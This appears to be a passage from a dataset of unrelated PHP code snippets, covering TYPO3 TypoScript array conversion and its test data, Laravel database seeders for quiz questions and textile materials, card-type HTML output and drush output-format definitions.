'Test',\n 'wrap' => '[|]',\n '_typoScriptNodeValue' => 'TEXT'\n ],\n '20' => [\n 'value' => 'Test',\n 'wrap' => '[|]',\n '_typoScriptNodeValue' => 'TEXT'\n ],\n '_typoScriptNodeValue' => 'COA'\n ],\n '_typoScriptNodeValue' => 'COA'\n ]\n ],\n 'classic' => [\n '10' => 'COA',\n '10.' => [\n '10' => 'TEXT',\n '10.' => [\n 'value' => 'Hello World!',\n 'foo.' => [\n 'bar' => 5\n ]\n ],\n '20' => 'COA',\n '20.' => [\n '10' => 'TEXT',\n '10.' => [\n 'value' => 'Test',\n 'wrap' => '[|]'\n ],\n '20' => 'TEXT',\n '20.' => [\n 'value' => 'Test',\n 'wrap' => '[|]'\n ]\n ]\n ]\n ]\n ],\n ];\n }", "public function convertTypoScriptArrayToPlainArrayTestdata()\n {\n return [\n 'simple typoscript array' => [\n 'typoScriptSettings' => [\n '10.' => [\n 'value' => 'Hello World!',\n 'foo.' => [\n 'bar' => 5\n ]\n ],\n '10' => 'TEXT'\n ],\n 'expectedSettings' => [\n '10' => [\n 'value' => 'Hello World!',\n 'foo' => [\n 'bar' => 5\n ],\n '_typoScriptNodeValue' => 'TEXT'\n ]\n ]\n ],\n 'typoscript with intermediate dots' => [\n 'typoScriptSettings' => [\n '10.' => [\n 'value' => 'Hello World!',\n 'foo.' => [\n 'bar' => 5\n ]\n ],\n '10' => 'TEXT'\n ],\n 'expectedSettings' => [\n '10' => [\n 'value' => 'Hello World!',\n 'foo' => [\n 'bar' => 5\n ],\n '_typoScriptNodeValue' => 'TEXT'\n ]\n ]\n ],\n 'typoscript array with changed order' => [\n 'typoScriptSettings' => [\n '10' => 'TEXT',\n '10.' => [\n 'value' => 'Hello World!',\n 'foo.' => [\n 'bar' => 5\n ]\n ]\n ],\n 'expectedSettings' => [\n '10' => [\n 'value' => 'Hello World!',\n 'foo' => [\n 'bar' => 5\n ],\n '_typoScriptNodeValue' => 'TEXT'\n ]\n ]\n ],\n 'nested typoscript array' => [\n 'typoScriptSettings' => [\n '10' => 'COA',\n '10.' => [\n '10' => 'TEXT',\n '10.' => [\n 'value' => 'Hello World!',\n 'foo.' => [\n 'bar' => 5\n ]\n ],\n '20' => 'COA',\n '20.' => [\n '10' => 'TEXT',\n '10.' => [\n 'value' => 'Test',\n 'wrap' => '[|]'\n ],\n '20' => 'TEXT',\n '20.' => [\n 'value' => 'Test',\n 'wrap' => '[|]'\n ]\n ],\n '30' => 'custom'\n ]\n ],\n 'expectedSettings' => [\n '10' => [\n '10' => [\n 'value' => 'Hello World!',\n 'foo' => [\n 'bar' => 5\n ],\n '_typoScriptNodeValue' => 'TEXT'\n ],\n '20' => [\n '10' => [\n 'value' => 'Test',\n 'wrap' => '[|]',\n '_typoScriptNodeValue' => 'TEXT'\n ],\n '20' => [\n 'value' => 'Test',\n 'wrap' => '[|]',\n '_typoScriptNodeValue' => 'TEXT'\n ],\n '_typoScriptNodeValue' => 'COA'\n ],\n '30' => 'custom',\n '_typoScriptNodeValue' => 'COA'\n ]\n ]\n ],\n ];\n }", "function tt( $data_array )\n {\n\techo \"data: $data_array[0] / $data_array[1] / $data_array[2] <br>\";\n }", "public function convertPlainArrayToTypoScriptArray(array $plainArray): array\n {\n $typoScriptArray = [];\n foreach ($plainArray as $key => $value) {\n if (is_array($value)) {\n if (isset($value['_typoScriptNodeValue'])) {\n $typoScriptArray[$key] = $value['_typoScriptNodeValue'];\n unset($value['_typoScriptNodeValue']);\n }\n $typoScriptArray[$key . '.'] = $this->convertPlainArrayToTypoScriptArray($value);\n } else {\n $typoScriptArray[$key] = $value === null ? '' : $value;\n }\n }\n return $typoScriptArray;\n }", "private function returnPlainArray($line) {\n\t//--\n\treturn $this->_toType($line);\n\t//--\n}", "private function arrayToPrint()\n\t{\n\t\t$this->view->addToReplace($this->langArr);\n\t\t$this->view->addToReplace($this->arrRender);\n\t\t$this->arrRender['CONTENT'] = $this->view\n\t\t\t->setTemplateFile('employeeedit')->renderFile();\n\t\t$this->view->addToReplace($this->arrRender);\n\t\t$this->view->setTemplateFile('index')->templateRender();\n\t}", "protected function renderArray() {}", "public function run()\n {\n DB::table('arraytutquestions')->delete();\n\n $arraytut = array(\n ['name' => 'NoProgram',\n 'teacher_id' => '1',\n 'question_type' => 'array',\n 'tutquestion' => 'Which of these operators is used to allocate memory to array variable in Java?',\n 'tutquestion_level'=>'1',\n 'program'=>'',\n 'question_ans'=>'c',\n 'mc_ans1'=>'malloc',\n 'mc_ans2'=>'alloc',\n 'mc_ans3'=>'new ',\n 'mc_ans4'=>'new malloc',\n 'photo'=>'',\n 'slug' =>str_random(10),\n 'created_at'=>new DateTime,\n 'updated_at'=>new DateTime\n ],\n\n [ 'name' => 'Program',\n 'teacher_id' => '1',\n 'question_type' => 'array',\n 'tutquestion' => 'Which three are legal array declarations?',\n 'tutquestion_level'=>'2',\n 'program'=>'<pre>\n1.int [] myScores [];\n2.char [] myChars;\n3.int [6] myScores;\n4.Dog myDogs [];\n5.Dog myDogs [7];</pre>',\n 'question_ans'=>'a',\n 'mc_ans1'=>'1, 2, 4',\n 'mc_ans2'=>'2, 4, 5',\n 'mc_ans3'=>'2, 3, 4',\n 'mc_ans4'=>'All are correct',\n 'photo'=>'',\n 'slug' =>str_random(10),\n 'created_at'=>new DateTime,\n 'updated_at'=>new DateTime\n ],\n\n [ 'name' => 'NoProgram',\n 'teacher_id' => '1',\n 'question_type' => 'array',\n 'tutquestion' => 'Which cause a compiler error?',\n 'tutquestion_level'=>'4',\n 'program'=>'',\n 'question_ans'=>'b',\n 'mc_ans1'=>'int[ ] scores = {3, 5, 7};',\n 'mc_ans2'=>'int [ ][ ] scores = {2,7,6}, {9,3,45};',\n 'mc_ans3'=>'String cats[ ] = {\"Fluffy\", \"Spot\", \"Zeus\"};',\n 'mc_ans4'=>'boolean results[ ] = new boolean [] {true, false, true};',\n 'photo'=>'',\n 'slug' =>str_random(10),\n 'created_at'=>new DateTime,\n 'updated_at'=>new DateTime\n ],\n );\n\n DB::table('arraytutquestions')->insert($arraytut);\n }", "public function creataTypeArray()\n\t{\n\t\t$this->db->creataTypeArray();\n\t}", "function typeOutput($Attribute, $Type1, $Type2, $Type3){\n global $EN_types, $FR_types, $DE_types, $IT_types, $PT_types, $SP_types, $JP_types, $TC_types, $KR_types;\n\n switch($_SESSION['language']){\n case \"FR\":\n $tempLangArray = $FR_types;\n break;\n case \"DE\":\n $tempLangArray = $DE_types;\n break;\n case \"IT\":\n $tempLangArray = $IT_types;\n break;\n case \"PT\":\n $tempLangArray = $PT_types;\n break;\n case \"SP\":\n $tempLangArray = $SP_types;\n break;\n case \"JP\":\n $tempLangArray = $JP_types;\n break;\n case \"TC\":\n $tempLangArray = $TC_types;\n break;\n case \"KR\":\n $tempLangArray = $KR_types;\n break;\n default:\n $tempLangArray = $EN_types;\n break;\n }\n\n if($Attribute == \"TOKEN\"){\n echo \"<span id=\\\"type\\\"></span>\";\n }elseif($Attribute == \"NON-GAME\"){\n echo \"<span id=\\\"type\\\"></span>\";\n }elseif(($Type2 == \"Effect\") && (($Type3 == \"Tuner\") || ($Type3 == \"Gemini\") || ($Type3 == \"Toon\") || ($Type3 == \"Union\") || ($Type3 == \"Spirit\"))){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type3] . \" ]</span>\";\n }elseif(($Type2 == \"Normal\") && (isset($Type1)) && ($Type3 == \"Tuner\")){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type3] . \" ]</span>\";\n }elseif(($Type2 == \"Fusion\") && (isset($Type1)) && ($Type3 == \"Effect\")){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type2] . \" / \" . $tempLangArray[$Type3] . \" ]</span>\";\n }elseif(($Type2 == \"Ritual\") && (isset($Type1)) && ($Type3 == \"Effect\")){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type2] . \" / \" . $tempLangArray[$Type3] . \" ]</span>\";\n }elseif(($Type2 == \"Synchro\") && (isset($Type1)) && (($Type3 == \"Effect\") || ($Type3 == \"Tuner\"))){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type2] . \" / \" . $tempLangArray[$Type3] . \" ]</span>\";\n }elseif(($Type2 == \"Xyz\") && (isset($Type1)) && ($Type3 == \"Effect\")){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type2] . \" / \" . $tempLangArray[$Type3] . \" ]</span>\";\n }elseif(($Type2 == \"Pendulum\") && (isset($Type1)) && ($Type3 == \"Effect\")){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type2] . \" / \" . $tempLangArray[$Type3] . \" ]</span>\";\n }elseif(($Attribute == \"TRAP\") || ($Attribute == \"SPELL\") || ($Attribute == \"MAGIC\")){\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type2] . \" ]</span>\";\n }else{\n echo \"<span id=\\\"type\\\">[ \" . $tempLangArray[$Type1] . \" / \" . $tempLangArray[$Type2] . \" ]</span>\";\n }\n}", "public function output(): array;", "function add_tripod_array($tarray)\n {\n if (!is_array($tarray))\n {\n throw new \\Tripod\\Exceptions\\Exception(\"Value passed to add_tripod_array is not of type array\");\n }\n // need to convert from tripod storage format to rdf/json as php array format\n if (isset($tarray[\"value\"][_GRAPHS]))\n {\n // iterate add add each graph\n foreach($tarray[\"value\"][_GRAPHS] as $graph)\n {\n $this->add_tarray_to_index($graph);\n }\n }\n else\n {\n $this->add_tarray_to_index($tarray);\n }\n }", "function acf_parse_types($array)\n{\n}", "public function visitLiteralArrayAstNode( ezcTemplateLiteralArrayAstNode $type )\n {\n $first = true;\n\n $this->write( \"array(\" );\n foreach ( $type->value as $key => $val )\n {\n if ( !$first )\n {\n $this->write( \",\" );\n }\n\n if ( isset( $type->keys[$key] ) )\n {\n $type->keys[$key]->accept( $this );\n $this->write ( \" => \" );\n }\n\n $val->accept( $this );\n $first = false;\n\n }\n $this->write( \")\" );\n }", "private function saveCoreData($rawData){ \n $arr=[];\n $rawData=(array)$rawData[\"data\"];\n \n foreach ($this->keys as $key => $value) {\n $value = (array)$value;\n //textarray\n if($value[\"type\"]==\"textarray\"){\n //loop through the size\n $types = explode(\"~\",$value[\"subtype\"]);\n for ($i=0; $i<$value[\"size\"]; $i++){\n $row=[];\n $row[\"name\"] = $key . \"_\" . $i;\n $row[\"type\"] = (isset($types[$i])? $types[$i] : $types[0]);\n \n if(!is_array($rawData[$key])){\n $rawData[$key] = explode(\",\",$rawData[$key] );\n }\n if(!isset($rawData[$key][$i]))\n $rawData[$key][$i]=null;\n \n $type=\"\";\n if(isset($types[$i]))\n $type=$types[$i];\n else\n $type=$types[0];\n \n// var_dump($rawData[$key][$i]);\n// echo $type . \"</br>\";\n \n $arr[$row[\"name\"]]= $this->getVal($rawData[$key][$i], $type);\n }\n }\n else{\n if(!isset($rawData[$key]))\n $rawData[$key]=null;\n \n \n $arr[$key]= $this->getVal($rawData[$key], $this->keys[$key][\"type\"]);\n }\n }\n \n return $arr;\n \n }", "abstract protected function getTypoScriptSetup();", "public function run()\n {\n $raws = [\n ['reference'=>'PA1X200/68T','value'=>'21.9','valueicms'=>'25.24','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'200','filaments'=>'68','finishing'=>'Texturizado'],\n ['reference'=>'PA1X200/96M','value'=>'23.05','valueicms'=>'26.56','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'200','filaments'=>'96','finishing'=>'Mescla'],\n ['reference'=>'PA1X200/98M','value'=>'20.77','valueicms'=>'26.56','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'200','filaments'=>'98','finishing'=>'Mescla'],\n ['reference'=>'PA1X42/13L','value'=>'21.27','valueicms'=>'24.4','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'42','filaments'=>'13','finishing'=>'Liso'],\n ['reference'=>'PA1X60/60T','value'=>'23.99','valueicms'=>'27.65','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'60','filaments'=>'60','finishing'=>'Texturizado'],\n ['reference'=>'PA1X70/68T','value'=>'18','valueicms'=>'18.88','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'70','filaments'=>'68','finishing'=>'Texturizado'],\n ['reference'=>'PA1X80/60L','value'=>'41.57','valueicms'=>'47.89','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'80','filaments'=>'60','finishing'=>'Liso'],\n ['reference'=>'PA1X80/68L','value'=>'19.62','valueicms'=>'22.61','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'1','dtex'=>'80','filaments'=>'68','finishing'=>'Liso'],\n ['reference'=>'PA2X70/68T','value'=>'18','valueicms'=>'18.88','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'2','dtex'=>'70','filaments'=>'68','finishing'=>'Texturizado'],\n ['reference'=>'PA3X78/23T','value'=>'22.54','valueicms'=>'25.96','provider_cod'=>'','description'=>'Poliamida','basecomponent'=>'PA','cables'=>'3','dtex'=>'78','filaments'=>'23','finishing'=>'Texturizado'],\n ['reference'=>'PA661X200/68T','value'=>'21.9','valueicms'=>'25.24','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'200','filaments'=>'68','finishing'=>'Texturizado'],\n ['reference'=>'PA661X200/96T','value'=>'21.9','valueicms'=>'25.44','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'200','filaments'=>'96','finishing'=>'Texturizado'],\n ['reference'=>'PA661X40/13L','value'=>'21.21','valueicms'=>'24.4','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'40','filaments'=>'13','finishing'=>'Liso'],\n ['reference'=>'PA661X42/13T','value'=>'21.51','valueicms'=>'24.78','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'42','filaments'=>'13','finishing'=>'Texturizado'],\n ['reference'=>'PA661X60/60T','value'=>'23.99','valueicms'=>'27.64','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'60','filaments'=>'60','finishing'=>'Texturizado'],\n ['reference'=>'PA661X78/23T','value'=>'18.52','valueicms'=>'21.34','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'78','filaments'=>'23','finishing'=>'Texturizado'],\n ['reference'=>'PA661X80/68B','value'=>'22.53','valueicms'=>'25.96','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'80','filaments'=>'68','finishing'=>'Black'],\n ['reference'=>'PA661X80/68M','value'=>'32.04','valueicms'=>'36.96','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'80','filaments'=>'68','finishing'=>'Mescla'],\n ['reference'=>'PA661X80/68MB','value'=>'32.04','valueicms'=>'36.96','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'80','filaments'=>'68','finishing'=>'MesclaBlack'],\n ['reference'=>'PA661X80/68T','value'=>'21.12','valueicms'=>'24.33','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'1','dtex'=>'80','filaments'=>'68','finishing'=>'Texturizado'],\n ['reference'=>'PA662X60/60T','value'=>'24','valueicms'=>'27.64','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'2','dtex'=>'60','filaments'=>'60','finishing'=>'Texturizado'],\n ['reference'=>'PA662X78/48T','value'=>'19.66','valueicms'=>'22.65','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'2','dtex'=>'78','filaments'=>'48','finishing'=>'Texturizado'],\n ['reference'=>'PA662X80/68T','value'=>'21.11','valueicms'=>'24.33','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'2','dtex'=>'80','filaments'=>'68','finishing'=>'Texturizado'],\n ['reference'=>'PAPES1X110T','value'=>'23.99','valueicms'=>'27.64','provider_cod'=>'','description'=>'Poliamida+Poliester','basecomponent'=>'PAPES','cables'=>'1','dtex'=>'110','filaments'=>'0','finishing'=>'Texturizado'],\n ['reference'=>'PES1X150/144T','value'=>'6.7','valueicms'=>'7.08','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'150','filaments'=>'144','finishing'=>'Liso'],\n ['reference'=>'PES1X50/13L','value'=>'7.7','valueicms'=>'8.08','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'50','filaments'=>'13','finishing'=>'Liso'],\n ['reference'=>'PES1X50/72T','value'=>'9.98','valueicms'=>'10.44','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'50','filaments'=>'72','finishing'=>'Texturizado'],\n ['reference'=>'PES1X70/36B','value'=>'7.2','valueicms'=>'7.53','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'70','filaments'=>'36','finishing'=>'Black'],\n ['reference'=>'PES1X70/36L','value'=>'7.2','valueicms'=>'7.53','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'70','filaments'=>'36','finishing'=>'Liso'],\n ['reference'=>'PES1X70/48','value'=>'15','valueicms'=>'15','provider_cod'=>'MP não usado ???','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'70','filaments'=>'48','finishing'=>'???'],\n ['reference'=>'PES1X75/36T','value'=>'7.2','valueicms'=>'7.53','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'75','filaments'=>'36','finishing'=>'Texturizado'],\n ['reference'=>'PES1X75/72T','value'=>'7.6','valueicms'=>'7.99','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'75','filaments'=>'72','finishing'=>'Texturizado'],\n ['reference'=>'PUE1X20','value'=>'25.61','valueicms'=>'29.5','provider_cod'=>'','description'=>'Elastano','basecomponent'=>'PUE','cables'=>'1','dtex'=>'20','filaments'=>'0','finishing'=>' ---'],\n ['reference'=>'PUE1X40','value'=>'25.45','valueicms'=>'29.53','provider_cod'=>'','description'=>'Elastano','basecomponent'=>'PUE','cables'=>'1','dtex'=>'40','filaments'=>'0','finishing'=>' ---'],\n ['reference'=>'PUE1X70','value'=>'25.54','valueicms'=>'29.32','provider_cod'=>'','description'=>'Elastano','basecomponent'=>'PUE','cables'=>'1','dtex'=>'70','filaments'=>'0','finishing'=>' ---'],\n ['reference'=>'CO12X1/OE','value'=>'6.3','valueicms'=>'7.13','provider_cod'=>'','description'=>'Algodão','basecomponent'=>'CO','cables'=>'1','dtex'=>'0','filaments'=>'0','finishing'=>'OpenEnd'],\n ['reference'=>'CO16X1/OE','value'=>'8.03','valueicms'=>'9.6','provider_cod'=>'','description'=>'Algodão','basecomponent'=>'CO','cables'=>'1','dtex'=>'0','filaments'=>'0','finishing'=>'OpenEnd'],\n ['reference'=>'CO6X1/OE','value'=>'6','valueicms'=>'6.79','provider_cod'=>'','description'=>'Algodão','basecomponent'=>'CO','cables'=>'1','dtex'=>'0','filaments'=>'0','finishing'=>'OpenEnd'],\n ['reference'=>'COPES30X1/VORT','value'=>'8.74','valueicms'=>'10.6','provider_cod'=>'','description'=>'Algodão+Poliester','basecomponent'=>'COPES','cables'=>'1','dtex'=>'0','filaments'=>'0','finishing'=>'PES/CO TRAMA'],\n ['reference'=>'PA662X80/60TE','value'=>'38.4','valueicms'=>'47.9','provider_cod'=>'','description'=>'Poliamida 6.6','basecomponent'=>'PA6.6','cables'=>'2','dtex'=>'80','filaments'=>'60','finishing'=>'Texturizado Emana'],\n ['reference'=>'PES1X150/48T','value'=>'6.28','valueicms'=>'6.57','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'150','filaments'=>'48','finishing'=>'Texturizado'],\n ['reference'=>'PES1X75/36T/URDUME','value'=>'7.05','valueicms'=>'7.38','provider_cod'=>'','description'=>'Poliester','basecomponent'=>'PES','cables'=>'1','dtex'=>'75','filaments'=>'36','finishing'=>'Texturizado URDUME']\n ];\n RawMaterial::truncate();\n $piscofinscomplement = 0.9075;\n foreach ($raws as $raw) {\n $ra = new RawMaterial();\n $ra->reference = $raw['reference'];\n $ra->value = $raw['value']*$piscofinscomplement;\n $ra->valueicms = $raw['valueicms']*$piscofinscomplement;\n $ra->provider_cod = $raw['provider_cod'];\n $ra->description = trim($raw['description']);\n $ra->basecomponent = $raw['basecomponent'];\n $ra->cables = $raw['cables'];\n $ra->dtex = $raw['dtex'];\n $ra->filaments = $raw['filaments'];\n $ra->finishing = trim($raw['finishing']);\n $ra->save();\n }\n }", "function tfjecho($array) {\r\n die(json_encode($array));\r\n }", "function entity_type_translate_array($entity_type)\n{\n $translate = $GLOBALS['config']['entities'][$entity_type];\n\n // Base fields\n // FIXME, not listed here: agg_graphs, metric_graphs\n $fields = array('name', // Base entity name\n 'name_multiple', // (Optional) Plural entity name\n 'table', // Table name\n 'table_fields', // Array with table fields\n //'state_table', // State table name (deprecated)\n //'state_fields', // Array with state fields (deprecated)\n 'humanize_function', // Humanize function name\n 'parent_type', // Parent table type\n 'parent_table', // Parent table name\n 'parent_id_field', // Main parent id field\n 'where',\n 'icon', // Entity icon\n 'graph');\n foreach ($fields as $field)\n {\n if (isset($translate[$field]))\n {\n $data[$field] = $translate[$field];\n }\n else if (isset($GLOBALS['config']['entities']['default'][$field]))\n {\n $data[$field] = $GLOBALS['config']['entities']['default'][$field];\n }\n }\n\n // Table fields\n $fields_table = array(// Common fields\n 'id',\n 'device_id',\n 'index',\n 'mib',\n 'object',\n 'oid',\n 'name',\n 'shortname',\n 'descr',\n 'ignore',\n 'disable',\n 'deleted',\n // Limits fields\n 'limit_high', // High critical limit\n 'limit_high_warn', // High warning limit\n 'limit_low', // Low critical limit\n 'limit_low_warn', // Low warning limit\n // Value fields\n 'value', // RAW value\n 'status', // Entity specific status name (\n 'event', // Event name (ok, alert, warning, etc..)\n 'uptime', // Uptime\n 'last_change', // Last changed time\n // Measured entity fields\n 'measured_type', // Measured entity type\n 'measured_id', // Measured entity id\n );\n if (isset($translate['table_fields']))\n {\n // New definition style\n foreach ($translate['table_fields'] as $field => $entry)\n {\n // Add old style name (ie 'id_field') for compatibility\n $data[$field . '_field'] = $entry;\n }\n }\n\n return $data;\n}", "private function convert_lesson_array(array $table) {\n //println(\"<p>convert_lesson_array()\");\n foreach($table as $rowID => $row) {\n //println(\"<p>row($rowID):\");\n //var_dump($row);\n $plainTextContent = $table[$rowID]['content'];\n //println(\"<p>content cell($rowID): \".$table[$rowID]['content']);\n if(!isset($row['contentHTML']) || $row['contentHTML']=='') { //contentHTML has no content, so convert plain content to HTML friendly output\n $htmlContent = text_to_html($plainTextContent);//convert plaintext to html\n //println(\"<p>content plain to HTML cell($rowID): \".$htmlContent);\n } else {\n $plainTextContent = $table[$rowID]['content'];\n $htmlContent = $table[$rowID]['contentHTML'];//change 'content' values to 'contentHTML' values\n //println(\"<p>content HTML cell($rowID): \".$table[$rowID]['contentHTML']);\n }\n foreach($row as $cellID => $cell) {//change each cell that has the 'content' value (i.e. both number and text key)\n if($table[$rowID][$cellID]==$plainTextContent)\n $table[$rowID][$cellID] = $htmlContent;\n }\n }\n return $table;\n }", "protected function _postarray($output) { \n return $output; \n }", "public function transform($array) {\n//\t\t\tld(\"transform\");\n//\t\t\tld(json_encode($array));\n\t\t\treturn json_encode($array);\n\t\t}", "public function output(){\n // then use ExpandManiPulator::union($hotelsArray)\n }", "function load_array(&$array){ // loading template from array\n\tif (!is_array($array)) system_die('Invalid variable set (must be array)', 'Template->load_array');\n\t$this->template = $array;\n\tunset($this->result);\n\tunset($this->filename);\n}", "abstract public function getTypoScriptSetup() ;", "function getCompressedTCarray()\t{ \n\t\tglobal $TCA;\n\n\t\tif (!$this->TCAloaded)\t{\n\t\t\t\t// Create hash string for storage / retrieval of cached content:\n\t\t\t$tempHash = md5('tables.php:'.\n\t\t\t\tfilemtime(TYPO3_extTableDef_script ? PATH_typo3conf.TYPO3_extTableDef_script : PATH_t3lib.'stddb/tables.php').\n\t\t\t\t(TYPO3_extTableDef_script?filemtime(PATH_typo3conf.TYPO3_extTableDef_script):'').\n\t\t\t\t($GLOBALS['TYPO3_LOADED_EXT']['_CACHEFILE'] ? filemtime(PATH_typo3conf.$GLOBALS['TYPO3_LOADED_EXT']['_CACHEFILE'].'_ext_tables.php') : '')\n\t\t\t);\n\t\t\t\t// Try to fetch if:\n\t\t\tlist($TCA,$this->TCAcachedExtras) = unserialize($this->getHash($tempHash, 0));\n\t\t\t\t// If no result, create it:\n\t\t\tif (!is_array($TCA))\t{\n\t\t\t\t$this->includeTCA(0);\n\t\t\t\t$newTc = Array();\n\t\t\t\t$this->TCAcachedExtras = array();\t// Collects other information\n\n\t\t\t\tforeach($TCA as $key => $val)\t\t{\n\t\t\t\t\t$newTc[$key]['ctrl'] = $val['ctrl'];\n\t\t\t\t\t$newTc[$key]['feInterface'] = $val['feInterface'];\n\n\t\t\t\t\t\t// Collect information about localization exclusion of fields:\n\t\t\t\t\tt3lib_div::loadTCA($key);\n\t\t\t\t\tif (is_array($TCA[$key]['columns']))\t{\n\t\t\t\t\t\t$this->TCAcachedExtras[$key]['l10n_mode'] = array();\n\t\t\t\t\t\tforeach($TCA[$key]['columns'] as $fN => $fV)\t{\n\t\t\t\t\t\t\tif ($fV['l10n_mode'])\t{\n\t\t\t\t\t\t\t\t$this->TCAcachedExtras[$key]['l10n_mode'][$fN] = $fV['l10n_mode'];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\t// Store it in cache:\n\t\t\t\t$TCA = $newTc;\n\t\t\t\t$this->storeHash($tempHash, serialize(array($newTc,$this->TCAcachedExtras)), 'SHORT TC');\n\t\t\t}\n\t\t}\n\n\t}", "function chartjs_array_typecaster($table){\r\n\t$table = chartjs_array_map_recursive('chartjs_typecaster', $table);\r\n\treturn $table;\r\n}", "function\teeps_printr($a, $level)\t{\n if (is_array($a))\t{\n $name = key($a);\n echo\t\"<br>\";\n for ($i = 0; $i < $level*2; $i++)\techo \"&nbsp;&nbsp;\";\n echo \"<strong>ARRAY $name</strong>\";\n foreach ($a as $e)\t{\n eeps_printr($e, $level + 1);\n }\n }\n else {\n if (strlen($a) != 0)\t{\n echo\t\"<br>\";\n for ($i = 0; $i < $level*2; $i++)\techo \"&nbsp;&nbsp;\";\n echo \"$a\";\n }\n }\n}", "public static function transformatorUscatJT(){\n $joasaTensiune=array(\n \"loj\" => Converter::from('length.mm')->to('length.m')->convert(1.5)->getValue(),\n \"g_oj\" => Converter::from('length.mm')->to('length.m')->convert(1)->getValue(),\n //2*0.5carton mm\n \"aoj\" => Converter::from('length.mm')->to('length.m')->convert(10)->getValue(),\n );\n return $joasaTensiune;\n }", "function outputformat_drush_engine_outputformat() {\n $common_topic_example = array(\n \"a\" => array(\"b\" => 2, \"c\" => 3),\n \"d\" => array(\"e\" => 5, \"f\" => 6)\n );\n\n $engines = array();\n $engines['table'] = array(\n 'description' => 'A formatted, word-wrapped table.',\n 'engine-capabilities' => array('format-table'),\n );\n $engines['key-value'] = array(\n 'description' => 'A formatted list of key-value pairs.',\n 'engine-capabilities' => array('format-single', 'format-list', 'format-table'),\n 'hidden' => TRUE,\n );\n $engines['key-value-list'] = array(\n 'engine-class' => 'list',\n 'list-item-type' => 'key-value',\n 'description' => 'A list of formatted lists of key-value pairs.',\n 'list-field-selection-control' => 1,\n 'engine-capabilities' => array('format-table'),\n 'hidden' => TRUE,\n );\n $engines['json'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'Javascript Object Notation.',\n 'topic-example' => $common_topic_example,\n );\n $engines['string'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'A simple string.',\n 'engine-capabilities' => array('format-single'),\n );\n $engines['message'] = array(\n 'machine-parsable' => FALSE, // depends on the label....\n 'hidden' => TRUE,\n );\n $engines['print-r'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'Output via php print_r function.',\n 'verbose-only' => TRUE,\n 'topic-example' => $common_topic_example,\n );\n $engines['var_export'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'An array in executable php format.',\n 'topic-example' => $common_topic_example,\n );\n $engines['yaml'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'Yaml output format.',\n 'topic-example' => $common_topic_example,\n );\n $engines['php'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'A serialized php string.',\n 'verbose-only' => TRUE,\n 'topic-example' => $common_topic_example,\n );\n $engines['config'] = array(\n 'machine-parsable' => TRUE,\n 'engine-class' => 'list',\n 'list-item-type' => 'var_export',\n 'description' => \"A configuration file in executable php format. The variable name is \\\"config\\\", and the variable keys are taken from 